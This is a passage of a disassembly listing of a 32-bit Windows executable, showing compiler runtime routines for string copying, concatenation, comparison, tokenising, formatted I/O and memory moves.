arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420AE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FD3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420B73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C476	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4B0	proc near		; CODE XREF: sub_401AA1+1DD5p
					; sub_401AA1+1DF4p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C4D1
		xor	eax, eax
		jmp	short loc_41C4D3
; ---------------------------------------------------------------------------


loc_41C4D1:				; CODE XREF: sub_41C4B0+1Bj
		mov	eax, edi


loc_41C4D3:				; CODE XREF: sub_41C4B0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4E0	proc near		; CODE XREF: sub_401AA1+818p
					; sub_41E32A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C511
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C50F
		jz	short loc_41C511
		dec	ecx
		dec	ecx


loc_41C50F:				; CODE XREF: sub_41C4E0+29j
		not	ecx


loc_41C511:				; CODE XREF: sub_41C4E0+9j
					; sub_41C4E0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C520	proc near		; CODE XREF: sub_401AA1+40Ep
					; sub_401AA1+2FD2p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C591
sub_41C520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C530	proc near		; CODE XREF: sub_401AA1+417p
					; sub_401AA1+73C9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C54C


loc_41C53D:				; CODE XREF: sub_41C530+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C57F
		test	ecx, 3
		jnz	short loc_41C53D


loc_41C54C:				; CODE XREF: sub_41C530+Bj
					; sub_41C530+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C54C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C58E
		test	ah, ah
		jz	short loc_41C589
		test	eax, 0FF0000h
		jz	short loc_41C584
		test	eax, 0FF000000h
		jz	short loc_41C57F
		jmp	short loc_41C54C
; ---------------------------------------------------------------------------


loc_41C57F:				; CODE XREF: sub_41C530+12j
					; sub_41C530+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C591
; ---------------------------------------------------------------------------


loc_41C584:				; CODE XREF: sub_41C530+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C591
; ---------------------------------------------------------------------------


loc_41C589:				; CODE XREF: sub_41C530+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C591
; ---------------------------------------------------------------------------


loc_41C58E:				; CODE XREF: sub_41C530+39j
		lea	edi, [ecx-4]


loc_41C591:				; CODE XREF: sub_41C520+5j
					; sub_41C530+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C5B6


loc_41C59D:				; CODE XREF: sub_41C530+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C608
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C59D
		jmp	short loc_41C5B6
; ---------------------------------------------------------------------------


loc_41C5B1:				; CODE XREF: sub_41C530+9Ej
					; sub_41C530+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C5B6:				; CODE XREF: sub_41C530+6Bj
					; sub_41C530+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C5B1
		test	dl, dl
		jz	short loc_41C608
		test	dh, dh
		jz	short loc_41C5FF
		test	edx, 0FF0000h
		jz	short loc_41C5F2
		test	edx, 0FF000000h
		jz	short loc_41C5EA
		jmp	short loc_41C5B1
; ---------------------------------------------------------------------------


loc_41C5EA:				; CODE XREF: sub_41C530+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C5F2:				; CODE XREF: sub_41C530+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C5FF:				; CODE XREF: sub_41C530+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C608:				; CODE XREF: sub_41C530+72j
					; sub_41C530+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C530	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C620


loc_41C610:				; CODE XREF: sub_41C620+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C620
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C620	proc near		; CODE XREF: sub_401AA1+3F3p
					; sub_401AA1+490p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C610 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C626:				; CODE XREF: sub_41BF70+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C64B


loc_41C638:				; CODE XREF: sub_41C620+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C610
		test	cl, cl
		jz	short loc_41C694
		test	edx, 3
		jnz	short loc_41C638


loc_41C64B:				; CODE XREF: sub_41C620+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C656:				; CODE XREF: sub_41C620+61j
					; sub_41C620+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C698
		and	eax, 81010100h
		jz	short loc_41C656
		and	eax, 1010100h
		jnz	short loc_41C692
		and	esi, 80000000h
		jnz	short loc_41C656


loc_41C692:				; CODE XREF: sub_41C620+68j
					; sub_41C620+81j ...
		pop	esi
		pop	edi


loc_41C694:				; CODE XREF: sub_41C620+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C698:				; CODE XREF: sub_41C620+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C6D5
		test	al, al
		jz	short loc_41C692
		cmp	ah, bl
		jz	short loc_41C6CE
		test	ah, ah
		jz	short loc_41C692
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C6C7
		test	al, al
		jz	short loc_41C692
		cmp	ah, bl
		jz	short loc_41C6C0
		test	ah, ah
		jz	short loc_41C692
		jmp	short loc_41C656
; ---------------------------------------------------------------------------


loc_41C6C0:				; CODE XREF: sub_41C620+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6C7:				; CODE XREF: sub_41C620+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6CE:				; CODE XREF: sub_41C620+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C6D5:				; CODE XREF: sub_41C620+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C6E0	proc near		; CODE XREF: sub_401AA1+1A0p
					; sub_401AA1+1F7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C72C


loc_41C6F0:				; CODE XREF: sub_41C6E0+3Cj
					; sub_41C6E0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C724
		or	al, al
		jz	short loc_41C720
		cmp	ah, [ecx+1]
		jnz	short loc_41C724
		or	ah, ah
		jz	short loc_41C720
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C724
		or	al, al
		jz	short loc_41C720
		cmp	ah, [ecx+3]
		jnz	short loc_41C724
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C6F0
		mov	edi, edi


loc_41C720:				; CODE XREF: sub_41C6E0+18j
					; sub_41C6E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C724:				; CODE XREF: sub_41C6E0+14j
					; sub_41C6E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C72C:				; CODE XREF: sub_41C6E0+Ej
		test	edx, 1
		jz	short loc_41C748
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C724
		inc	ecx
		or	al, al
		jz	short loc_41C720
		test	edx, 2
		jz	short loc_41C6F0


loc_41C748:				; CODE XREF: sub_41C6E0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C724
		or	al, al
		jz	short loc_41C720
		cmp	ah, [ecx+1]
		jnz	short loc_41C724
		or	ah, ah
		jz	short loc_41C720
		add	ecx, 2
		jmp	short loc_41C6F0
sub_41C6E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C764	proc near		; CODE XREF: sub_401AA1+B5p
					; sub_401AA1+C8p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C77D:				; CODE XREF: sub_41C764+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C77D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C7A5
		mov	edx, dword_4DE610


loc_41C7A5:				; CODE XREF: sub_41C764+39j
					; sub_41C764+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C7C5
		test	al, al
		jz	short loc_41C7C5
		inc	edx
		jmp	short loc_41C7A5
; ---------------------------------------------------------------------------


loc_41C7C5:				; CODE XREF: sub_41C764+58j
					; sub_41C764+5Cj
		mov	ebx, edx


loc_41C7C7:				; CODE XREF: sub_41C764+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C7EB
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C7E7
		inc	edx
		jmp	short loc_41C7C7
; ---------------------------------------------------------------------------


loc_41C7E7:				; CODE XREF: sub_41C764+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C7EB:				; CODE XREF: sub_41C764+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DE610, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C800	proc near		; CODE XREF: sub_4096FD+1Cp
					; sub_415FB9+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FD3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C83E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C84B
; ---------------------------------------------------------------------------


loc_41C83E:				; CODE XREF: sub_41C800+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FC2A
		pop	ecx
		pop	ecx


loc_41C84B:				; CODE XREF: sub_41C800+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C800	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C850	proc near		; CODE XREF: sub_40AC83+82p
					; sub_40B790+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C904
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C87A


loc_41C86B:				; CODE XREF: sub_41C850+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C8AB
		test	edi, 3
		jnz	short loc_41C86B


loc_41C87A:				; CODE XREF: sub_41C850+19j
					; sub_41C850+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C87A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C8B8
		test	ah, ah
		jz	short loc_41C8B3
		test	eax, 0FF0000h
		jz	short loc_41C8AE
		test	eax, 0FF000000h
		jnz	short loc_41C87A


loc_41C8AB:				; CODE XREF: sub_41C850+20j
		dec	edi
		jmp	short loc_41C8BB
; ---------------------------------------------------------------------------


loc_41C8AE:				; CODE XREF: sub_41C850+52j
		sub	edi, 2
		jmp	short loc_41C8BB
; ---------------------------------------------------------------------------


loc_41C8B3:				; CODE XREF: sub_41C850+4Bj
		sub	edi, 3
		jmp	short loc_41C8BB
; ---------------------------------------------------------------------------


loc_41C8B8:				; CODE XREF: sub_41C850+47j
		sub	edi, 4


loc_41C8BB:				; CODE XREF: sub_41C850+5Cj
					; sub_41C850+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C8D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C91C
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8D0:				; CODE XREF: sub_41C850+75j
					; sub_41C850+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C90A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C900
		test	esi, 3
		jnz	short loc_41C8D0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C91C


loc_41C8EC:				; CODE XREF: sub_41C850+7Ej
					; sub_41C850+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C900


loc_41C8F3:				; CODE XREF: sub_41C850+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C902
		dec	ecx
		jnz	short loc_41C8F3


loc_41C900:				; CODE XREF: sub_41C850+8Bj
					; sub_41C850+A1j
		mov	[edi], cl


loc_41C902:				; CODE XREF: sub_41C850+ABj
		pop	ebx
		pop	esi


loc_41C904:				; CODE XREF: sub_41C850+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C90A:				; CODE XREF: sub_41C850+85j
					; sub_41C850+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C914:				; CODE XREF: sub_41C850+E4j
					; sub_41C850+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C8EC


loc_41C91C:				; CODE XREF: sub_41C850+7Cj
					; sub_41C850+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C914
		test	dl, dl
		jz	short loc_41C90A
		test	dh, dh
		jz	short loc_41C968
		test	edx, 0FF0000h
		jz	short loc_41C958
		test	edx, 0FF000000h
		jnz	short loc_41C914
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C850+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C968:				; CODE XREF: sub_41C850+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C850	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C973	proc near		; CODE XREF: .XPack0:0040AF02p
					; sub_40C138+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B650
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420BB0
		add	esp, 10h
		leave
		retn
sub_41C973	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9B0	proc far		; CODE XREF: sub_40AFDC+62p
					; sub_40AFDC+6Fp ...

arg_FFFFFFFC	= dword	ptr  8
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_FFFFFFFC]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C9D0
		cmp	edi, eax
		jb	loc_41CB48


loc_41C9D0:				; CODE XREF: sub_41C9B0+16j
		test	edi, 3
		jnz	short loc_41C9EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------


loc_41C9EC:				; CODE XREF: sub_41C9B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CA04
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CA0C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CA04:				; CODE XREF: sub_41C9B0+46j
		jmp	dword ptr loc_41CB08[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA0C:				; CODE XREF: sub_41C9B0+31j
					; sub_41C9B0+8Ej ...
		jmp	off_41CA8C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CA20
		dd offset loc_41CA4C
		dd offset loc_41CA70
; ---------------------------------------------------------------------------


loc_41CA20:				; DATA XREF: sub_41C9B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA4C:				; DATA XREF: sub_41C9B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CA70:				; DATA XREF: sub_41C9B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CA8C	dd offset loc_41CAEF	; DATA XREF: sub_41C9B0:loc_41CA0Cr
		dd offset loc_41CADC
		dd offset loc_41CAD4
		dd offset loc_41CACC
		dd offset loc_41CAC4
		dd offset loc_41CABC
		dd offset loc_41CAB4
		dd offset loc_41CAAC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CAB4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CABC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CAC4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CACC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CAD4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CADC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CAEF:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0:off_41CA8Co
		jmp	off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CAF8	dd offset loc_41CB08	; DATA XREF: sub_41C9B0+35r
					; sub_41C9B0+92r ...
		dd offset loc_41CB10
		dd offset loc_41CB1C
		dd offset loc_41CB30
; ---------------------------------------------------------------------------


loc_41CB08:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB10:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB1C:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB30:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB48:				; CODE XREF: sub_41C9B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CB7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CB70:				; CODE XREF: sub_41C9B0+1B1j
					; sub_41C9B0+208j ...
		neg	ecx
		jmp	off_41CC40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB7C:				; CODE XREF: sub_41C9B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CB94
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CB94+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB94:				; CODE XREF: sub_41C9B0+1D6j
					; DATA XREF: sub_41C9B0+1DDr
		jmp	off_41CC90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 0CBh
		inc	ecx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CB70
		std
		rep movsd
		cld
		jmp	off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CC44
		dd offset loc_41CC4C
		dd offset loc_41CC54
		dd offset loc_41CC5C
		dd offset loc_41CC64
		dd offset loc_41CC6C
		dd offset loc_41CC74
off_41CC40	dd offset loc_41CC87	; DATA XREF: sub_41C9B0+1C2r
; ---------------------------------------------------------------------------


loc_41CC44:				; DATA XREF: sub_41C9B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CC4C:				; DATA XREF: sub_41C9B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CC54:				; DATA XREF: sub_41C9B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CC5C:				; DATA XREF: sub_41C9B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CC64:				; DATA XREF: sub_41C9B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CC6C:				; DATA XREF: sub_41C9B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


